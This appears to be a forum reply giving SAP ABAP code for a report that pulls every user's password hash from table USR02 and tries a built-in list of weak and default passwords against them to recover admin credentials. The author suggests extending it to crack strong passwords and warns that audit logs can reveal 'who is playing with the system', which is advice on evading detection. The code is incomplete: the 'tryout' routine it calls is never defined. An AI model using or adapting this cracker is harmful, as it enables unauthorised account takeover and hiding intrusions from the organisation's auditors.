Hi,
Just go to se38 make a report
name zddicpwd and paste the code below and execute it. It will give you
the password of all the user who have admin roles. Remember it will give
password only that are weak. Even You can modify it for cracking strong
password (you can modify it for normal user also but it is bit tricky).
Be careful in audit log they can see the terminal and tcode etc to
figure it out who is playing with the system.
REPORT zdiccpwd.
DATA: user(8).
DATA: password LIKE xu400-newcode.
DATA: user_logondata LIKE uslogond.
DATA: user_name LIKE usr02-bname.
DATA: old_key LIKE user_logondata-bcode.
DATA: pwd_found.
DATA: auth_rec LIKE UST04.
DATA: auth_tab LIKE TABLE OF auth_rec.
DATA: BEGIN OF usr_rec,
mandt LIKE usr02-mandt,
bname LIKE usr02-bname,
bcode LIKE usr02-bcode,
uflag LIKE usr02-uflag,
END OF usr_rec.
DATA: usr_tab LIKE TABLE OF usr_rec.
DATA: BEGIN OF t000_rec,
mandt LIKE t000-mandt,
END OF t000_rec.
DATA: t000_tab LIKE TABLE OF t000_rec.
DATA: BEGIN OF pwd_rec,
string LIKE xu400-newcode,
END OF pwd_rec.
DATA: pwd_tab LIKE TABLE OF pwd_rec.
pwd_rec-string = 'PASS'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = '06071992'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'ADMIN'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'TS1MBHSS'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'SP3ED#UP'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'HEINEKEN'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'INITIAL'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'INIT'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'PASSWORD'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'VERANDER'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'AJAX'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'EXPORT'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'EXPORT01'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'EXPORT1'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'EXPORT02'.
APPEND pwd_rec-string TO pwd_tab.
pwd_rec-string = 'EXPORT2'.
APPEND pwd_rec-string TO pwd_tab.
SELECT mandt FROM t000 INTO TABLE t000_tab.
SELECT mandt bname bcode uflag FROM usr02
APPENDING TABLE usr_tab.
LOOP AT usr_tab INTO usr_rec.
CALL FUNCTION 'SUSR_USER_LOGONDATA_GET'
EXPORTING
user_name = usr_rec-bname
IMPORTING
user_logondata = user_logondata
EXCEPTIONS
user_name_not_exist = 1
OTHERS = 2.
old_key = user_logondata-bcode.
LOOP AT pwd_tab INTO pwd_rec.
PERFORM tryout USING usr_rec-bname pwd_rec-string.
ENDLOOP.
ENDLOOP.
Regards,
Jagadish.
Bluesky
